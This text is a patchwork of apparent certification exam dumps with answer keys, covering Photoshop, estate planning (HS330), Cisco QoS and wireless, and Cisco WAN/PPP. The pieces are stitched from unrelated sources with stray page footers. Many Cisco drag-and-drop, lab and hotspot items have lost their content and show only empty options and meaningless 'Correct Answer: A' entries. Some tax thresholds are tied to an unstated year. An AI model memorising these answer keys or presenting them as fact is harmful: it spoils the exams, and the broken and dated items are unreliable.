You are creating a custom workspace that facilitates the way you like to work. Which parameters can you save as part of your custom workspace, other than panel locations? (Choose two.)
A. Custom keyboard shortcuts
B. Current color management settings
C. Your CS Live setup
D. Menu changes
E. Changes to Preferences

Correct Answer: AD
QUESTION 103
You are working on a system with two monitors, and you have two documents open as tabbed documents
on the main monitor. You want to display one of the documents on the second monitor for easier
reference, so you can see both at the same time.
What should you do?

A. Hold down Alt (Windows) or Option (Mac OS) and double-click on the document s tab.
B. Turn off the Open Documents as Tabs preference.
C. Click the document s tab, and drag to the second monitor. 24 / 28 The safer , easier way to help you pass any IT exams.
D. Choose Window > Arrange > Tile.

Correct Answer: C
QUESTION 104
You want to quickly hide all panels and menus and switch the area outside the canvas to black. What should you do?
A. Press Command-F (Mac OS) or Ctrl+F (Windows) twice.
B. Choose View > Proof Setup > Custom.
C. Choose Full Screen Mode from the Application bar s Screen Mode menu.
D. Press F1 twice.

Correct Answer: C
QUESTION 105
You are sharpening a photograph, and you want to preview the sharpening at 100% view for greatest
accuracy.
How can you display the photograph at 100% in the document window?(Choose two.)

A. Choose View > Actual Pixels.
B. Double-click the Zoom tool in the Tools panel.
C. Double-click the Hand tool in the Tools panel.
D. Press Ctrl+0 (Windows) or Command+0 (Mac OS).
E. Select Scrubby Zoom in the Zoom tool Options bar, and drag in the image.

Correct Answer: AB
QUESTION 106
You are using the Hand tool to pan around a large image. You release the mouse, but the image continues
to scroll.
How can you disable this feature?

A. Hold down the Alt key (Windows) or Option key (Mac OS) while scrolling.
B. Turn off Enable Flick Panning in the Preferences dialog box.
C. Turn off Animated Zoom in the Preferences dialog box.
D. Replace the video card with one that supports Open GL.
Correct Answer: B
QUESTION 107
You re making a new file in which to create a banner ad for a website.
Which settings should you choose in the new dialog box?
A. Width: 728 pixels, Height: 90 pixels, Resolution: 72 pixels/inch, Color ModE:RGB Color, 8 bit
B. Width: 1024 pixels, Height: 768 pixels, Resolution: 72 pixels/inch, Color Mode:RGB Color, 16 bit
C. Width: 14.2 inches, Height: 2.8 inches, Resolution: 72 pixels/inch, Color Mode:LAB Color, 8 bit
D. Width: 10.7 inches, Height: 2.1 inches, Resolution: 72 pixels/inch, Color Mode:CMYK Color, 8 bit

Correct Answer: A
QUESTION 108
You are creating a document that will be printed on a commercial offset printing press. The printer has asked that you provide your images at 1.5 times the halftone screen and stated that the job will be printed at 150 LPI. The job will be 8×10 inches plus a .125-inch bleed. Which settings should you choose as you create the new document?
A. Width: 8.125 inches, Height: 10.125 inches, Resolution: 300 ppi, ColorMode:CMYK Color
B. Width: 8.25 inches, Height: 10.25 inches; Resolution: 300 ppi, ColorMode:CMYK Color 25 / 28 The safer , easier way to help you pass any IT exams.
C. Width: 8.25 inches, Height: 10.25 inches; Resolution: 225 ppi, ColorMode:CMYK Color
D. Width: 8.125 inches, Height: 10.125 inches; Resolution: 150 ppi, ColorMode:LAB Color

Correct Answer: C
QUESTION 109
You want to upsample a photograph to a higher resolution. Which interpolation method in the Image Size dialog box is likely to give you the best result?
A. Bicubic Smoother
B. Bilinear
C. Bicubic Sharper
D. Nearest Neighbor

Correct Answer: A
QUESTION 110
You have 20 images of varying sizes and resolutions. You want to adjust each one to be 5×7 inches at 300
ppi.
Which tool will allow the fastest processing of the images?

A. The Rectangular Marquee tool
B. The Direct Selection tool
C. The Crop tool
D. The Quick Selection tool

Correct Answer: C
QUESTION 111
You want to add a white, 20 pixel border around all four outside edges of a flattened photograph. What should you do?
A. Choose Select > All.Then choose Edit > Stroke.Set the stroke Location to Outside, the Width to 20 px, the Color to white, and the Blending Mode to Normal.Click OK.
B. Choose Image > Canvas Size.Then select the Relative checkbox, select the center anchor square, set Width and Height to 40 pixels, and choose White as the Canvas Extension Color.
C. Choose the Line tool.In the Options bar, set the Color to white and Weight to 20 px.Switch to the Rectangle tool, and drag diagonally from one corner of the photograph to the opposite corner.
D. Set the Foreground color to white.Choose Image > Image Size.Deselect Constrain Proportions, choose pixels as the unit of measurement, add 40 to both the Width and Height fields, and click OK.

Correct Answer: B QUESTION 112
You want to reshape a photograph from landscape (horizontal) to portrait (vertical) orientation using the
Content-Aware Scale command.
What should you do to ensure important details in the image are not distorted?

A. Click the Lock Image Pixels button in the Layers panel.
B. Copy the important details to a new layer before you choose Edit > Content Aware Scale.
C. Make a selection around the important areas before you choose Edit > Content Aware Scale.
D. Select an alpha channel in the Protect menu in the Options bar.

Correct Answer: D QUESTION 113
You have a photograph of a skyscraper in which the building appears tilted to the left. You ?like to
straighten the building vertically and crop away any resulting transparent pixels in as few steps as

26 / 28
The safer , easier way to help you pass any IT exams.

possible.
What should you do?

A. Drag the Ruler tool along the edge of the skyscraper; then click the Straighten button in the Options bar.
B. Drag the Ruler tool along the building edge; then choose Image > Image Rotation > Arbitrary.
C. Drag the Crop tool over the image, rotate the bounding box so that one edge is in line with the building edge, and press Enter (Windows) or Return (Mac OS).
D. Hold down the Alt (Windows) or Option (Mac OS) key while dragging the Line tool along the building edge; then press Enter (Windows) or Return (Mac OS).

Correct Answer: A QUESTION 114
You re using the Crop tool to crop a photograph of a building. The Crop Guide Overlay menu in the Options bar is particularly useful for which tasks? (Choose two.)
A. Displaying a grid you can use as a guide for fixing the building s distorted perspective.
B. Improving the composition of the photograph with reference to the Rule of Thirds.
C. Adding crop and trim marks to the photograph for printing.
D. Changing the orientation of the photograph from landscape to portrait.
E. Enlarging the canvas size to make room for a caption under the photograph.

Correct Answer: AB QUESTION 115
You need to add copyright metadata to hundreds of images. Which is the most efficient way to do this?
A. Create an action in Photoshop.
B. Use a metadata template in Bridge.
C. Choose File > Automate > Batch in Photoshop.
D. Use the File Info dialog box in Bridge.

Correct Answer: B QUESTION 116
You want a list of edits performed on an image to automatically travel with the image file for future
reference.
What should you do?

A. Choose Preferences > General. Select History Log > Save Log Items To > Metadata.
B. Choose History Options from the History panel menu, and choose Automatically Create New Snapshot When Saving.
C. Choose File > File Info. Then select the History tab and click Import.
D. Choose File > Scripts > Scripts Event Manager

Correct Answer: A
QUESTION 117
When you save a layered image in Photoshop (PSD) format, the Photoshop Format Options dialog box
appears. By default, the Maximize Compatibility option selected.
Why might you leave Maximize Compatibility selected?

A. To allow older versions of Photoshop to open a flattened composite of the layered file.
B. To preserve the appearance of layer masks and alpha channels in the document.
C. To reduce the file size of the document by compressing layer data. 27 / 28 The safer , easier way to help you pass any IT exams.
D. To preserve the editability of text and vector objects within the document.

Correct Answer: A
QUESTION 118
You have a layered document that contains both vector and raster elements. You want to place it in a
page-layout program for printing on a printing press.
Which format should you choose to ensure vector elements print at the highest quality?

A. Photoshop PDF
B. Photoshop PSD
C. TIFF
D. JPEG
Correct Answer: A

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American College HS330 Practice Exam, High Pass Rate American College HS330 Test Engine For Download

Question: 31
Which of the following statements concerning revocable trusts is correct?

A – The transfer of properly to a revocable trust is typically motivated by non tax reasons.
B – A transfer of property to a revocable trust is treated as a completed gift.
C – A transfer of income-producing properly to a revocable trust will result in favorable income tax
Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400

treatment for the grantor. D – Property of a revocable trust will be included in the grantor’s probate property.

Answer: A
Question: 32
A man recently died with only probate assets. Under the terms of his will, he left his entire probate estate out right to his wife. The following are relevant facts concerning the estate:
Gross estate $2,400,000 Estate administration expenses 85,000 Debts of decedent 100,000 Allowable funeral expenses 10,000
The amount of the allowable marital deduction is
A – $2,205,000 B – $2,215,000 C – $2,305,000 D – $2,315,000

Answer: A
Question: 33
A wife makes outright gifts of $40,000 to her son this year, and her husband agrees to split the gifts with her. Which of the following correctly states the amount of the taxable gifts?
A – Wife 0, husband $18,000 B – Wife $9,000, husband $9,000 C – Wife$19,000, husband$19,000 D – Wife $18,000, husband 0

Answer: B
Question: 34
A woman is the income beneficiary of an irrevocable trust. Which of the following powers given to her will cause all the assets in the trust to be includible in her gross estate for federal estate tax purposes?
A – The testamentary power to direct the trustee to use trust assets to pay her estate taxes B – The power to direct the trustee to pay trust assets to her limited in amount to an ascertainable standard relating to her health and education C – The power each year to direct the trustee to pay her an amount of trust assets not exceeding the greater of $5,000 or 5 percent of the assets held by the trust D – The testamentary special or limited power to direct the trustee to distribute trust assets to her children

Answer: A
Question: 35
A single man with substantial assets and income is supporting his 80-year-old partially senile mother with monthly cash gifts. He is trying to find a practical way to support his mother while at the same time saving federal gift and income taxes without giving up ultimate control of any assets. Which of the following courses of action will best accomplish these objectives?

Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400

A – Make her an interest free loan with a principal amount large enough to produce sufficient income for her support when invested in corporate bonds B – Make her annual gifts of enough interest income from the tax free municipal bonds in his portfolio so that she will be able to support herself C – Make her a gift of enough corporate bonds from his port folio so that she will be able to support herself from the interest payments D – Purchase corporate bonds that pay interest in an amount sufficient for her to support herself and assign the interest payments to her

Answer: B
Question: 36
An individual who is a resident of State W is also the sole proprietor of a business located in State
W. He owns real property located in State X that is used by the proprietorship. While on vacation in State Y, the individual meets an untimely death. Under the terms of his will, his entire estate is bequeathed to a resident of State Z. Which state will tax the real property used by the proprietorship?
A – State W B – State X C – State Y D – State Z

Answer: B
Question: 37
Which of the following life insurance settlement options will qualify for the federal estate tax marital deduction?
l. Proceeds left to the surviving spouse under the interest option, with interest payable to the surviving spouse who has the unrestricted right to withdraw proceeds and with any proceeds not withdrawn payable equally to her children per stripes
ll. Proceeds left to the surviving spouse under an installment option, with any installments remaining at her death to be commuted and paid to her estate
A – l only B – II only C – Both l and ll D – Neither l nor ll
Answer: C
Question: 38
Which of the following statements concerning a power of appointment is (are) correct?
l. A power of appointment can be designed to restrict the donee’s right to appoint the property in favor of a specific class of recipients.
ll. A power of appointment can be designed to restrict the time period during which the donee may exercise the power.
A – l only B – II only C – Both l and II D – Neither I nor II

Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400
Answer: C
Question: 39
Which of the following statements concerning ante nuptial agreements is (are) correct?
l. They are frequently used to protect the interests of children of former marriages.
II. They can legally deprive a surviving spouse of his or her elective share of a deceased spouse’s estate.
A – l only B – II only C – Both l and ll D – Neither I nor II

Answer: C
Question: 40
Which of the following statements concerning the joint tenancy with right of survivorship form of real property ownership is (are) correct?
l. The property is part of the probate estate of the first tenant to die.
ll. An owner can sell his interest in the property at any time without destroying the form of ownership.
A – l only B – II only C – Both l and ll D – Neither I nor II

Answer: D
Question: 41
A number of states have passed statutes governing “living wills.” Which of the following statements concerning a living will is (are) correct?
l. A living will is an alternative to an inter vivos trust under certain circumstances.
ll. A living will is an oral will made by the testator during a final illness when it is impossible to write one.
A – l only B – II only C – Both l and ll D – Neither I nor Il
Answer: D
Question: 42
Which of the following actions on the part of a trustee is (are) a breach of his duties?
I. Placing substantial amounts of cash from the sale of securities in a no interest bearing checking account for a period of years

Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400

II. Investing all trust assets in securities that favor income beneficiaries to the detriment of remainder persons
A – l only B – II only C – Both l and ll D – Neither I nor II

Answer: C
Question: 43
Which of the following are ways of passing property from a deceased spouse to a surviving spouse so that the properly will qualify for the federal estate tax marital deduction?
I. When the surviving spouse receives the property by electing to take against the deceased spouse’s will
ll. When the surviving spouse receives the property as a consequence of the qualified disclaimer of another beneficiary
A – l only B – II only C – Both l and ll D – Neither I nor II

Answer: C
Question: 44
Which of the following statements concerning wills is (are) correct?
l. A will should be reviewed periodically to assure that the property owner’s most recent intentions are honored at death.
ll. Once signed, a will’s provisions may not be changed without the consent of all the beneficiaries under the will.
A – l only B – II only C – Both l and ll D – Neither I nor II

Answer: A
Question: 45
Which of the following statements concerning the generation-skipping transfer tax (GSTT) is (are) correct?
I. An annual exclusion against GSTT will shelter gifts by a grandparent to a trust benefiting multiple grandchildren.
II. Tuition payments made directly by a grandparent to a university for a grandchild’s education
are exempt from GSTT.

Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400

A – l only B – II only C – Both land ll D – Neither I nor II

Answer: B
Question: 46
In which of the following situations will the grantor be taxed on income from trust property.
l. The grantor of a trust gives one of the trust beneficiaries the right to add or delete beneficiaries.
ll. An adverse party to the grantor holds the power to determine the timing to trust distributions to the beneficiaries.
A – l only B – II only C – Both l and ll D – Neither I nor II

Answer: D
Question: 47
Which of the following statements concerning a grantor-retained annuity trust (GRAT) is (are) correct?
l. The grantor is taxed on trust income during the retained term.
II. The grantor makes an irrevocable transfer to the remainder person(s) when the trust is created.
A – I only B – II only C – Both I and lI D – Neither I nor II

Answer: C
Question: 48
Alan, a widower, is a retired executive with substantial assets. He wishes to provide for the financial security of his two grandchildren since their father, Alan’s son, has always managed money poorly. This year Alan would like each grandchild to receive a substantial gift. Which of the following statements concerning the generation-skipping transfer tax (GSTT) on these gifts is (are) correct?
I. Federal estate or gift tax will not be imposed if the gift is otherwise subject to the GSTT.
II. Assuming no prior gifts, Alan can gift a cumulative total of (not including the annual exclusion) $1.5 million to his grandchildren without the imposition of the GSTT.
A – l only B – II only C – Both l and ll D – Neither l nor ll

Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400
Answer: B
Question: 49
Which of the following statements concerning filing the federal estate tax return is (are) correct?
l. The estate tax return must be filed within 9 months of death unless an extension is granted by the IRS.
ll. For persons dying this year. an estate tax return must be filed for gross estates plus adjusted taxable gifts that exceed $1.5 million.
A – l only B – II only C – Both l and II D – Neither l nor ll

Answer: C
Question: 50
Which of the following statements concerning the gift or estate tax charitable deduction is (are) correct?
l. A donor is denied a charitable deduction for property that passes to a qualified charity as the result of a qualified disclaimer if the donor original transfer was to a no charitable donee.
ll. A decedent-spouse estate may obtain both marital and charitable deductions for interests contributed to a charitable remainder trust when the surviving spouse is the only no charitable income beneficiary for life.
A – l only B – II only C – Both l and ll D – Neither I nor II
Answer: B
Question: 51
Which of the following statements concerning pooled-income funds are correct?
l. The fund contains commingled donations from many sources.
ll. A decedent donation purchases units in the fund which generate income that is paid at least annually to a charity.
A – l only B – II only C – Both l and ll D – Neither I nor II

Answer: A
Question: 52
Which of the following factors is (are) used to make a choice between having an entity-purchase or cross-purchase partnership buy-sell agreement?

Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400

I. The cost basis of the partner’s business interests.
ll. The amount of the partner’s individual personal net worth’s
A – l only B – II only C – Both l and II D – Neither l nor lI

Answer: A
Question: 53
Which of the following transfers will be successful in removing property from a grantor’s gross estate?
l. A grantor’s transfer of property to a revocable trust if the grantor lives three years after the transfer.
ll. A grantor’s transfer of a personal residence to a qualified personal residence trust if the grantor survives the retained interest term.
A – l only B – II only C – Both l and ll D – Neither I nor II

Answer: B
Question: 54
Which of the following statements concerning marital transfers to a non-U.S. citizen spouse is (are) correct?
l. A marital deduction is automatically available as long as property is transferred outright to the non-citizen spouse.
Il .A marital deduction is automatically available if the transferor-decedent spouse is a U. S. citizen.
A – l only B – II only C – Both l and ll D – Neither l nor ll

Answer: D
Question: 55
Which of the following statements concerning the inclusion in a decedent-employee’s gross estate of a lump-sum distribution from a qualified retirement plan to a beneficiary other than the employee’s estate is (are) correct?
l. Lump-sum distributions of payments attributable to the employer’s contributions are excluded from the gross estate.
ll. Lump-sum distributions of payments attributable to the decedent-employee’s contributions are excluded from the gross estate.

Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400

A – l only B – II only C – Both l and II D – Neither I nor II

Answer: D
Question: 56
John plans to transfer his life insurance policy to an irrevocable trust for the benefit of his 19-year-old daughter, Jane. Which of the following conditions will enable the gift to qualify for the annual exclusion?
l. Jane is the irrevocable beneficiary of the life insurance trust but cannot withdraw from the trust until the death benefits are paid.
ll. Jane is given “Crummey” demand powers permitting the withdrawal at her discretion of the annual additions to the trust.
A – l only B – II only C – Both l and ll D – Neither I nor II

Answer: B
Question: 57
Which of the following statements concerning the taxation of estates and trusts is (are) correct?
l. They are taxed similarly to partnership entities.
II. They are taxed on distributable net income (DNI) that is retained.
A – only B – II only C – Both l and lI D – Neither I nor II
Answer: B
Question: 58
Which of the following statements concerning pooled-income funds is (are) correct?
l. A pooled income fund is similar to a mutual fund maintained by a qualified charity.
ll. lt is an irrevocable arrangement in which the remainder interest passes to charity.
A – l only B – II only C – Both l and ll D – Neither l nor ll
Answer: C Question: 59

Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400

Which of the following statements concerning ownership of property in the form of a joint tenancy with right of survivorship is (are) correct?
I. Either real or personal property may be owned as a joint tenancy with right of survivorship.
Il. Nonqualified joint tenants with right of survivorship may have unequal separate shares of the property.
A – l only B – II only C – Both I and ll D – Neither I nor II

Answer: A
Question: 60
Which of the following statements concerning the methods of valuing a closely held business for federal estate tax purposes is (are) correct?
l. The capitalization-of-adjusted-earnings method uses a capitalization rate that varies inversely with the degree of risk and rate of return.
II. The adjusted-book value method involves adjusting the asset components of a business to an approximate fair market value for each component.
A – l only B – II only C – Both l and ll D – Neither I nor II

Answer: C
Question: 61
Which of the following statements concerning guardians is (are) correct?
l. A guardian is appointed by a court.
Il. A guardian holds equitable title to the property he administers for his or her ward.
A – l only B – II only C – Both l and ll D – Neither I nor II

Answer: A
Question: 62
Which of the following types of partial interests in property may be allowed a charitable deduction for estate tax purposes?
l. A remainder interest in the donor vacation home
ll. A testamentary gift of a percentage of a decedent entire interest in property held in trust

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QUESTION 131
When QoS levels in the Cisco Wireless Control System (WCS) are entered, which profile names are used to identify the access categories?
A. platinum, gold, silver, and bronze
B. voice, gold, silver, and bronze
C. low delay, network critical, business, best effort
D. voice, video, background gold, background silver, and best effort
E. voice, video, best effort, and background F. voice, video, best effort, background, and scavenger

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 132
Refer to the exhibit. Which two statements are correct about the implementation of QoS across the WANs that are shown? (Choose two.)

A. QoS cannot be maintained across WAN A.
B. The service provider is not involved in providing QoS services in WAN A.
C. The service provider can provide QoS services through the cloud in WAN A.
D. QoS cannot be maintained across WAN B
E. The service provider is not involved in providing QoS services in WAN B.
F. The service provider can provide QoS services through the cloud in WAN B.

Correct Answer: BF Section: (none) Explanation
Explanation/Reference:
QUESTION 133
Refer to the exhibit. The network in the diagram has contracted with a service provider for the QoS levels that are shown. Which statement is correct about the QoS requirements for the campus and remote branch?

A. Because adequate levels of service are provided across the WAN, campus and remote branch QoS will not be required.
B. The enterprise campus can allow no more than 90 ms of delay, 10 ms of jitter, and 0.5% loss to maintain adequate levels of QoS for voice.
C. The enterprise remote branch can allow no more than 90 ms of delay, 10 ms of jitter, and 0.5% loss to maintain adequate levels of QoS for voice.
D. The enterprise campus plus the remote branch can allow no more than 90 ms of delay, 10 ms of jitter, and 0.5% loss to maintain adequate levels of QoS for voice.

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 134
Which of the items stated is typically the most expensive method of improving QoS across WAN links?
A. advanced queuing
B. data compression
C. header compression
D. increasing link capacity

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 135
Which three functions can an Integrated Services Router perform in a VoIP network? (Choose three.)
A. voice stream mixing for conference calling
B. voice gateway
C. call admission control
D. analog or digital phone interfaces
E. XML application services
F. large scale dial plan application

Correct Answer: BCD Section: (none) Explanation
Explanation/Reference:
QUESTION 136
Using the fewest commands possible, drag the commands on the left to the blanks on the right to configure and apply a QoS policy that guarantees that voice packets receive 20 percent of the bandwidth on the S0/1/0 interface.

Answer

A.

Correct Answer: A Section: (none) Explanation Explanation/Reference:
QUESTION 137
To configure Control Plan Policing(CoPP) to deny Telnet access only from 10.1.1.1, drag the commands on the left to the boxes on the right and place the commands in the proper order.

Answer

A.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 138
Drag each descriptor on the left to the QoS model on the right to which the descriptor applies. Not all descriptors apply.

Answer

A.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 139
Drag the wireless 802.1e priority level groupings on the left to the appropriate Wi-Fi Multimedia(WMM) access categories on the right.(Not all groupings will be used) Answer
A.
B.
C.
D.

Correct Answer: Section: (none) Explanation
Explanation/Reference:
QUESTION 140
Drag each term on the left to its time definition on the right. There will be one term unused.
A.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 141
Add a new wireless LAN controller (WLC) to the WCS wireless management server. From the left, drag each procedure to its step sequence on the right.

Answer A.
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 142
Drag each wireless EAP authentication protocol above to its definition below.

Answer A.
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 143
Drag each WLSE feature above to its benefit below.

Answer: A.
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 144
Drag Drop Drag the steps required to convert compressed digital signals to analog signals to their correct order on the right.

Answer

A.

Correct Answer: A Section: (none) Explanation
Explanation/Reference: QUESTION 145
Exhibit:

Answer:

A.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 146
Hotspot Answer:

A.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
Questions:162 Topology
QUESTION 147
Which three characteristics of the traffic flow are taken into consideration when the QoS-for-VPNs feature (QoS pre-classify) provides packet classification and applies appropriate QoS service on tunnel interfaces? (Choose three.)
A. IP precedence bits
B. DSCP bits
C. Original port numbers
D. DE bits
E. Source IP address
F. Destination IP address

Correct Answer: CEF Section: (none) Explanation
Explanation/Reference:
QUESTION 148
Which two statements about Cisco AutoQoS are true? (Choose two.)
A. A QoS service policy must already be enabled on the interface before Cisco AutoQoS can be enabled.
B. Any interface at or below 1.54 Mbps is classified as a low-speed interface.
C. AutoQoS uses Cisco network-based application recognition (NBAR) to identify various applications and traffic types
D. Cisco Express Forwarding (CEF) must be enabled at the interface or ATM PVC.
E. Cisco NBAR is a prerequisite for CEF.
F. On a serial interface, before AutoQoS is enabled, the clock rate command must be used to specify a bandwidth other than the default 1.54Mbps.

Correct Answer: CD Section: (none) Explanation
Explanation/Reference: QUESTION 149
When a router converts analog signals to digital signals as part of the VoIP process, it performs
four steps.
Which set of steps contains the steps in their correct sequence?

A. encoding optional compression quantization sampling
B. encoding quantization optional compression sampling
C. optional compression encoding sampling quantization
D. optional compression sampling encoding quantization
E. sampling quantization encoding optional compression
F. sampling quantization optional compression encoding

Correct Answer: E Section: (none) Explanation
Explanation/Reference:
QUESTION 150
Question: 150
What are three staid Extensible Authentication Protocol (EAP) types? (Choose three.)

A. LEAP
B. EAP-FAST
C. EAP-TLS
D. EAP-AES
E. WEAP
F. WEP

Correct Answer: ABC Section: (none) Explanation
Explanation/Reference:
QUESTION 151
What are three benefits of the Wireless LAN Solution Engine (WLSE)? (Choose three.)
A. The decentralized nature of WLSE helps reduce the time and resources that are required to manage a large number of WLAN devices.
B. WLSE helps simplify large-scale deployments by providing automatic configuration of new APs.
C. WLSE minimizes security vulnerabilities by providing security policy misconfiguration alerts and rogue AP detection.
D. WLSE provides AP utilization and client association reports, features which help with capacity planning.
E. WLSE can respond to required changes that are requested by APs.
F. WLSE increases productivity through customization with three possible levels of managemen lightweight, extended, and advanced.

Correct Answer: BCD Section: (none) Explanation
Explanation/Reference:
QUESTION 152
What is link fragmentation and interleaving (LFI)?
A. LFI is a QoS mechanism that allots bandwidth and enables the differentiation of traffic according to a policy.
B. LFI is a Layer 2 technique in which header information is sent only at the beginning of the session, stored in a dictionary, and then referenced in later packets by a short dictionary index.
C. LFI is a Layer 3 technique in which header information is sent only at the beginning of the session, stored in a dictionary, and then referenced in later packets by a short dictionary index.
D. LFI is a Layer 2 technique in which large frames are broken into small, equal-sized fragments and transmitted over the link in an interleaved fashion.
E. LEI is a Layer 2 technique in which smaller fragments are combined into large, equal-sized frames, and transmitted over the link in an interleaved fashion.

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 153
Which two statements about packet marking at the data link layer are true? (Choose two.)
A. Through the use of DE markings, Frame Relay QoS supports up to 10 classes of service.
B. Frames maintain their class of service (CoS) markings when transiting a non-802.1p link.
C. IEEE 802.1p supports up to 10 class of service (CoS) markings.
D. In an 802.1q frame, the 3-bit 802.1p priority field is used to identify the class of service (CoS) priority.
E. The 802.1p CoS markings are preserved through the LAN, but are not maintained end to end.

Correct Answer: DE Section: (none) Explanation
Explanation/Reference:
QUESTION 154
Which two wireless security statements are true? (Choose two.)
A. A TACACS+ server is required to implement 802.1x.
B. MIC protects against man-in-the-middle and replay attacks.
C. The 802.1x standard provides encryption services for wireless clients.
D. The AES (symmetric block cipher) is specified in the IEEE 802.11i specification.
E. The IEEE 802.11i specification uses RC4 as its encryption mechanism.
F. WPA requires TKIP and AES as encryption methods.

Correct Answer: BD Section: (none) Explanation
Explanation/Reference:
QUESTION 155
Which two statements are true about traffic shaping and traffic policing? (Choose two.)
A. Both traffic shaping and traffic policing cause retransmissions of connection-oriented protocols such as TCP.
B. Both traffic shaping and traffic policing support the marking and re-marking of traffic.
C. The effects of traffic shaping and traffic policing when configured on a router are applied to outgoing traffic.
D. Traffic shaping queues excess traffic whereas traffic policing discards excess traffic.
E. Traffic shaping allows the traffic to exceed the bit rate whereas traffic policing prevents the traffic from exceeding the bit rate.

Correct Answer: CD Section: (none) Explanation
Explanation/Reference:
QUESTION 156
Which two queuing methods will allow a percentage of the available bandwidth to be allocated to each queue? (Choose two.)
A. First-in, first-out queuing (FIFO)
B. Priority queuing (PQ)
C. Custom queuing (CQ)
D. Weighted fair queuing (WFQ)
E. Class-based WFQ (CBWFQ)
F. Low latency queuing (LLQ)

Correct Answer: EF Section: (none) Explanation
Explanation/Reference:
QUESTION 157
Which classification tool can be used to classify traffic based on the HTTP URL?
A. Class-based policing
B. Policy-based routing (PBR)
C. Committed access rate (CAR)
D. Network-based application recognition (NBAR)
E. Dial peers

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 158
What three types of interfaces do voice gateways use to connect to analog interfaces? (Choose three.)
A. E and M
B. E1 CCS
C. FXS
D. FXO
E. serial
F. T1 CAS

Correct Answer: ACD Section: (none) Explanation
Explanation/Reference:

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QUESTION 141
When a PPP connection is being established, which three configuration features are negotiated through the LCP? (Choose three.)
A. callback
B. multilink
C. encryption
D. compression
E. protocol multiplexing

Correct Answer: ABD Section: (none) Explanation
Explanation/Reference:
QUESTION 142
A corporation is currently running a Frame Relay network in a hub and spoke topology. To ease the WAN bandwidth bottleneck, the company would like to configure compression in an effort to optimize WAN links. The corporation does use multiple protocols and other applications that require that the IP header remains intact. Which type of compression should this corporation use?
A. link compression
B. payload compression
C. TCP/IP header compression
D. MPPC

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 143
Instead of purchasing dedicated router ports, a company wants to reduce costs by allowing any one of the available physical BRI interfaces on a central site router to dial out to remote branch offices.
Which two commands provide this capability? (Choose two.)
A. dialer-group
B. multilink ppp
C. interface dialer
D. dialer hunt-group
E. dialer rotary-group

Correct Answer: CE Section: (none) Explanation
Explanation/Reference:
QUESTION 144
Which command displays the remote network addresses associated with each PVC?
A. show ip route
B. show frame-relay lmi
C. show frame-relay map
D. show frame-relay pvc
E. show frame-relay status

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 145
Refer to exhibit. Notice the partial show running-config output on R1. R1 is connected with a multipoint subinterface over the Frame Relay to the spoke routers R2 and R3. The ISDN interface is configured to provide a back-up link should the primary connection to R2 fail.
However, when the PVC to R2 drops, the BRI interface remains in “standby” mode and does not bring up the back-up link. What could the problem be?

A. The EIGRP updates are configured as noninteresting traffic
B. The backup command is configured under the S0.1 multipoint interface of R1
C. The R1 S0 interface remains up because of the active PVC between R1 and R3.
D. The R1 S0.1 interface remains up because of the active PVC between R1 and R3.

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 146
Which set of commands will accomplish the tasks below?
-Make bri0/0 a backup interface to serial0/0.

Activate the backup interface 5 seconds after the primary link fails and deactivate the backup interface 10 seconds after the primary link is re-established.

A.
Router(config)#interface bri 0/0 Router(config-if)#backup interface serial 0/0 Router(config-if)#backup delay 5 10

B.
Router(config)#interface serial 0/0 Router(config-if)#backup interface bri 0/0 Router(config-if)#backup delay 5 10

C.
Router(config)#interface bri 0/0 Router(config-if)#backup interface serial 0/0 Router(config-if)#backup delay 10 5

D.
Router(config)#interface serial 0/0 Router(config-if)#backup interface bri 0/0 Router(config-if)#backup delay 10 5

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 147
Which field is defined in the PPP format that allows PPP to dynamically negotiate link options?
A. address
B. control
C. protocol
D. flag

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 148
An administrator is attempting to configure TACACS+ AAA authentication for privileged EXEC mode access. The current configuration is as follows:
RTB(config)# tacacs-server host 192.168.1.23 RTB(config)# tacacs-server key CISCO RTB(config)# aaa new-model RTB(config)# aaa authentication enable AAA group tacacs+ enable none
With the above configuration, what will be the result?
A. Authentication will be successful from the TACACS+ server.
B. Authentication will be successful from the local enable password.
C. Because the authentication list is not applied to any lines, authentication will not be successful.
D. Because the authentication enable command cannot used with a named list, authentication will not be successful

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 149
Drag Drop question
A.
B.
C.
D.

Correct Answer: Section: (none) Explanation
Explanation/Reference: QUESTION 150
Drag Drop question
A.
B.
C.
D.

Correct Answer: Section: (none) Explanation
Explanation/Reference:
QUESTION 151
lab question Please refer to Question 45, but take notice you wil use the same command in this questions, but some paramters like IP address will be different.
A.
B.
C.
D.

Correct Answer: Section: (none) Explanation
Explanation/Reference:
QUESTION 152
Which two debugs should you use to find the cause of an unsuccessful PAP negotiation? (Choose two.)
A. debug ppp pap
